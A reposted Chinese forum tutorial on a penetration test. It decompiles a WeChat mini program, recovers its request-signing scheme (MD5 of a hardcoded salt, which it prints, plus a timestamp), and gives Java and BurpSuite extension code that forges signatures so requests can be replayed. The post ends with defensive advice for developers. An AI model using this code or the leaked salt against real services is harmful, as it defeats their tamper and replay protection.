吾爱汇编

 找回密码
 立即注册

QQ登录

绑定QQ避免忘记帐号

查看: 2629|回复: 7

[转载技术] 逆向破解微信小程序参数签名(仅供学习参考,禁止用于非法行为)

[复制链接] 出处:CSDN
WolfKing 发表于 2022-11-23 12:48 | 显示全部楼层 |阅读模式

本帖最后由 就叫东子吧 于 2022-11-23 12:53 编辑

直接先上一波图(ps:无关紧要
fakename.png

没错,这货不讲武德,直接加了个时间戳参数timestamp、签名参数signature用来防止数据包重放……那这还玩个锤子!

这我还能说啥,合上电脑准备睡觉!但下一秒还是理智占据了上峰……算了,不能跟 RMB 过不去,还是老实搬砖干活为妙!

小程序逆向

喝口茶冷静想想,既然做了参数签名验证,那么想要继续愉快地渗透测试,必须得解决如何随意替换签名值signature了,那也就是说必须拿到小程序生成签名的源码。

那么问题来了。Web 网站有前端 js 代码负责这活,直接 F12 开发者工具就能查看前端代码逻辑,但是微信小程序的客户端源码上哪找??不装了摊牌了,先前确实还没干过这活,这大概就是要现场表演下传说中的从0到1了……

基础知识储备

打开搜索引擎一通搜索,了解了关于微信小程序源码几个核心的扫盲问题:

1、微信小程序源码如何获得?

微信小程序客户端的源文件由开发者发布后会存放在微信官方的服务器上。用户在微信客户端访问小程序后,会将其客户端源码打包下载到本地(就像APP的客户端程序),所以我们可以在手机本地找到对应小程序客户端的安装包,并进一步进行反编译获得源码。

2、微信小程序安装包存放在哪?

手机本地存放微信小程序安装包的具体目录位置为:

/data/data/com.tencent.mm/MicroMsg/XXXXXXXX(命名很长的文件夹,据说是用户随机码)/appbrand/pkg/

在这个目录下会发现一些xxxx.wxapkg类型的文件,这些就是微信小程序的安装包(二进制文件,还需要进一步进行反编译才能获得源码,类似获得 APP 的 APK 安装包后还需进一步进行反编译)。但是从上面的/data/data路径可以看出,必须 root 环境下的手机才能获取到目标文件。

3、如何反编译小程序安装包?

拿到xxxxx.wxapkg类型的微信小程序安装包以后,如何反编译获得小程序源码?大佬已经给我们写好现成的反编译脚本了,拿来即可食用:wxappUnpacker

逆向环境准备

了解完上述知识,顿时觉得这活有盼头了,撸起袖子准备干。获取源码前,先来准备下逆向环境。

1、安装 node.js 运行环境

访问 node 的下载地址,下载安装后设置系统环境变量,成功后如下:

fakename.png

2、下载反编译脚本文件 wxappUnpacker到本地并解压缩:

fakename.png

压缩的位置自己选择放在哪里哦

然后需要运行以下命令安装对应的依赖:

npm install esprima
npm install css-tree
npm install cssbeautify   
npm install vm2   
npm install uglify-es   
npm install js-beautify

3、使用 DDMS(或者 adb、RE文件管理器)工具,从手机模拟器中找到并导出目标小程序的安装包:

fakename.png

注意:如果发现 pkg 文件夹下当前存在的xxxxx.wxapkg安装包太多,分不清是哪一个的话,可以提前清空、删除 pkg 文件夹下的xxxxx.wxapkg文件,再重新运行目标小程序;同时注意多点击几下程序,使得手机能够从微信服务器下载完整的安装包(本人目标程序点击后生成了如图所示的4个xxxxx.wxapkg文件)。

4、将目标小程序的安装包导出到本地,完成前期的准备工作:

fakename.png

反编译出源码

准备工作完成,接下来开始运行反编译脚本,对获取到的xxxxx.wxapkg安装包文件进行反编译,由于不知道 4 个安装包文件中哪个包含了我想要的参数签名的源码,那就只能逐个反编译出来看看了。

1、先看第一个,执行命令node wuWxapkg.js + file,运行脚本对目标文件进行反编译:

fakename.png

2、运行结果如下,报错信息提醒当前反编译的包不是程序的主安装包:
fakename.png

3、既然如此,那就接着反编译下一个安装包文件,成功反编译:


fakename.png
4、接着到xxxxx.wxapkg存储路径下查看反编译成功后自动生成的存放源码的文件夹,可以看到已经成功获取到目标小程序的客户端源码:
fakename.png
破解签名算法

吃饭先搁一边,继续肝,破解完签名算法,晚饭才能吃得香哈哈(干饭人)。

源码算法分析

1、在 VS Code 打开源码文件夹,搜索sign关键词,发现request.js文件存在疑似签名函数:

fakename.png

2、经过审计分析,该位置确实是要找的目标签名函数,签名大致流程是MD5(固定盐值+时间戳timestamp),核心代码如下:

get_signature_timestamp: function() {   var e = new Date().getTime();   return {       timestamp: e,       signature: c("SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm" + e)   };}

3、接下来使用 MD5 在线加密验证一下,确认已成功找到签名算法:

fakename.png

既然知道目标小程序如何计算签名参数了,那么接下来,就可以使用 在线生成时间戳的网站结合 MD5 在线转换网站来计算新的签名值,然后手动替换数据包中对应的时间戳、签名值进行重放。实测发现这种做法虽然可以成功重放数据包,然而,这样子测试的话特别折腾!

难以忍受这种测试方式的龟速不说,进一步测试还发现,由于有时从浏览器复制计算出的新签名值到 BurpSuite 进行黏贴的过程手速太慢,会导致签名失效……此处猜测目标小程序的服务端应该校验了发送请求中包含的时间戳与服务器接收到请求时的时间戳之间的时间间隔,间隔太久的话则返回 400 报错。

脚本计算签名

作为 21 世纪的新一代青年,自然不能忍受这种机械式体力活,于是乎,掏出 IDEA,编写脚本自动计算新的时间戳和签名值:

import java.util.Date;import java.security.MessageDigest;public class MD5Test {    public String toMD5(String plainText) {        try {            //生成实现指定摘要算法的 MessageDigest 对象。            MessageDigest md = MessageDigest.getInstance("MD5");            plainText="SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm"+plainText;            //使用指定的字节数组更新摘要。            md.update(plainText.getBytes());            //通过执行诸如填充之类的最终操作完成哈希计算。            byte b[] = md.digest();            //生成具体的md5密码到buf数组            int i;            StringBuffer buf = new StringBuffer("");            for (int offset = 0; offset < b.length; offset++) {                i = b[offset];                if (i < 0)                    i += 256;                if (i < 16)                    buf.append("0");                buf.append(Integer.toHexString(i));            }            return buf.toString();        }        catch (Exception e) {            e.printStackTrace();        }        return plainText;    }    public static void main(String[] arg) {        // 获取当前时间戳,精确到毫秒;然后计算对应的签名值        long now_time=new Date().getTime();        System.out.println("当前新的时间戳 timestamp:"+now_time);        String now_sign=new MD5Test().toMD5(String.valueOf(now_time));        System.out.println("当前新的签名值 signature:"+now_sign);    }}

运行脚本获得新的时间戳和签名值如下:

fakename.png

成功利用计算所得的新的时间戳和签名值进行数据包重放:

fakename.png

插件自动替换

本来到这里已经可以愉快地次饭去了,但是,作为 21 世纪的新一代青年……理应追求极致效率(说到底上面复制黏贴还是太麻烦了)!

于是乎,继续掏出 IDEA,编写 BurpSuite 插件(关于 BurpSuite 插件编写的基础知识请自行百度……),实现 Repeater 模块重放数据包时,会自动计算新的时间戳、签名值并自动替换,达到全自动的效果。

不废话了,直接放上插件最终的核心源码BurpExtender.java:

package burp;import java.io.PrintWriter;import java.util.List;import java.util.Date;import java.security.MessageDigest;public class BurpExtender implements IBurpExtender, IHttpListener{    // implement IBurpExtender    private PrintWriter stderr;    private PrintWriter stdout;    private IExtensionHelpers helpers;    @Override    public void registerExtenderCallbacks(burp.IBurpExtenderCallbacks callbacks)    {        callbacks.setExtensionName("My Sign Plugin");        stdout = new PrintWriter(callbacks.getStdout(), true);        stderr = new PrintWriter(callbacks.getStderr(), true);        stdout.println("Success!Enjoy it!\n");        this.helpers = callbacks.getHelpers();        callbacks.registerHttpListener(this);    }    //processHttpMessage handle requests and responses from HttpListener    @Override    public void processHttpMessage(int toolFlag, boolean messageIsRequest, IHttpRequestResponse messageInfo) {        // Process only Repeater, Scanner and Intruder requests        if(toolFlag == IBurpExtenderCallbacks.TOOL_SCANNER ||                toolFlag == IBurpExtenderCallbacks.TOOL_REPEATER ||                toolFlag == IBurpExtenderCallbacks.TOOL_INTRUDER ) {            if(messageIsRequest){                //处理请求数据包                Handle_Request_Packet(messageInfo);            }else {                //处理返回数据包                Handle_Response_Packet(messageInfo);            }        }    }    //处理请求数据包    private void Handle_Request_Packet(IHttpRequestResponse messageInfo){        //获取请求数据包        byte[] request = messageInfo.getRequest();        IRequestInfo requestInfo = helpers.analyzeRequest(messageInfo);        //String url = requestInfo.getUrl().toString();        int bodyOffset = requestInfo.getBodyOffset();        //获取所有的请求头        List<String> headers = requestInfo.getHeaders();        //获取所有的请求body体        String body = new String(request).substring(bodyOffset);        if(body.indexOf("signature") >= 0) {            stdout.println("Before change:\n" + body);            //计算当前的时间戳和签名值            long new_time = new Date().getTime();            String new_sign = new BurpExtender().toMD5(String.valueOf(new_time));            //提取原始请求中的时间戳和签名值            int time_start = body.indexOf("×tamp");            String oldtimestamp = body.substring(time_start + 11, time_start + 24);            int sign_start = body.indexOf("&signature=");            String oldsign = body.substring(sign_start + 11, sign_start + 43);            //替换原始请求中的时间戳和签名值            body = body.replace(oldtimestamp, String.valueOf(new_time));            body = body.replace(oldsign, new_sign);            //修改后的数据替换原始的请求包            String newBody = body;            stdout.println("After change:\n" + newBody);            //重构数据包的目的是因为修改完请求体body后,需要将请求头head和请求体body重新拼接起来后再发送给服务器            byte[] bodyByte = newBody.getBytes();            byte[] new_Request = helpers.buildHttpMessage(headers, bodyByte);            //stdout.println("After change:\n" + new String(new_Request));            messageInfo.setRequest(new_Request);        }    }    //处理返回数据包    private void Handle_Response_Packet(IHttpRequestResponse messageInfo){        //忽略,无需做任何处理    }    public String toMD5(String plainText) {        try {            //生成实现指定摘要算法的 MessageDigest 对象。            MessageDigest md = MessageDigest.getInstance("MD5");            plainText="SvZy7GUy5mqWk15l4F3Ivb1IXCWOhnAm"+plainText;            //使用指定的字节数组更新摘要。            md.update(plainText.getBytes());            //通过执行诸如填充之类的最终操作完成哈希计算。            byte b[] = md.digest();            //生成具体的md5密码到buf数组            int i;            StringBuffer buf = new StringBuffer("");            for (int offset = 0; offset < b.length; offset++) {                i = b[offset];                if (i < 0)                    i += 256;                if (i < 16)                    buf.append("0");                buf.append(Integer.toHexString(i));            }            return buf.toString();        }        catch (Exception e) {            e.printStackTrace();        }        return plainText;    }}

来看看不使用插件的情况下,直接重放上面的数据包的结果:

fakename.png

最后上大招,从 IDEA 导出、生成 jar 插件文件并导入 BurpSuite:

fakename.png

下面就是见证奇迹的时候了!来看看这时候重放数据包的效果:

fakename.png

成功重放hh,同时可以在插件的输出日志里查看到时间戳和签名值的自动替换记录:

fakename.png


至此,就可以愉快地继续进行渗透测试啦!

总结

本次测试过程从0到1接触了微信小程序的逆向,首先通过审计分析出计算参数签名的源码逻辑,接着编写了自动计算的时间戳和签名值的脚本,再到最后开发 BurpSuite 自动化插件,这过程也算小有收获了。

最后总结下进一步思考的几个问题:

1、实际上很多进行参数签名校验的系统的会采用对整个数据包的参数进行签名的方式,而非像本文所述的案例(只是对时间戳进行 MD5 哈希加盐),具体的签名算法破解需要逆向分析不同系统的源码;

2、时间戳和参数签名确实是防止数据篡改、重放的有力措施,而这个过程安全性的保障的核心在于防止签名算法中的加密密钥 secret (即本文案例中的硬编码盐值)泄露;

3、开发人员可通过对微信小程序客户端进行安全加固(如代码混淆)的方式来增加攻击者分析、获取加密密钥的难度。

从本次测试也可以看出,开发人员不应该过度依赖客户端参数签名机制抵御网络攻击,应该着重于重视、强化服务端代码自身业务逻辑的安全性!





搬运不易.....如内容有问题烦请管理立即删除即可。。。



评分

参与人数 12HB +9 THX +5 收起 理由
白丁老师 + 1 [吾爱汇编论坛52HB.COM]-学破解防破解,知进攻懂防守!
再来壹瓶 + 1 [吾爱汇编论坛52HB.COM]-学破解防破解,知进攻懂防守!
消逝的过去 + 1
24567 + 2
Jawon + 2
yahan + 1
虚心学习 + 1
创客者V2.0 + 1
爱学习的老冯头 + 1 [吾爱汇编论坛52HB.COM]-学破解防破解,知进攻懂防守!
Soul1999 + 1
zxjzzh + 1 [吾爱汇编论坛52HB.COM]-软件反汇编逆向分析,软件安全必不可少!
Cerolluo + 1 [吾爱汇编论坛52HB.COM]-学破解防破解,知进攻懂防守!

查看全部评分

吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
lies 发表于 2022-11-23 20:07 | 显示全部楼层
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
Cerolluo 发表于 2022-11-23 20:16 | 显示全部楼层

支持一波!
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
dmf2yuan 发表于 2022-12-18 20:29 | 显示全部楼层
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
曾经沧海 发表于 2023-2-24 07:28 | 显示全部楼层

好东西,备用
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
曾经沧海 发表于 2023-2-26 19:25 | 显示全部楼层
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
曾经沧海 发表于 2023-2-27 07:19 | 显示全部楼层

超级感谢楼主!
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
一生逍遥 发表于 2023-3-24 17:49 | 显示全部楼层

向楼主学习!
吾爱汇编论坛-学破解,防破解!知进攻,懂防守!逆向分析,软件安全!52HB.COM
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

警告:本站严惩灌水回复,尊重自己从尊重他人开始!

1层
2层
3层
4层
5层
6层
7层
8层

免责声明

吾爱汇编(www.52hb.com)所讨论的技术及相关工具仅限用于研究学习,皆在提高软件产品的安全性,严禁用于不良动机。任何个人、团体、组织不得将其用于非法目的,否则,一切后果自行承担。吾爱汇编不承担任何因为技术滥用所产生的连带责任。吾爱汇编内容源于网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除。如有侵权请邮件或微信与我们联系处理。

站长邮箱:SharkHeng@sina.com
站长QQ:1140549900


QQ|RSS|手机版|小黑屋|帮助|吾爱汇编 ( 京公网安备11011502005403号 , 京ICP备20003498号-6 )|网站地图

Powered by Discuz!

吾爱汇编 www.52hb.com

快速回复 返回顶部 返回列表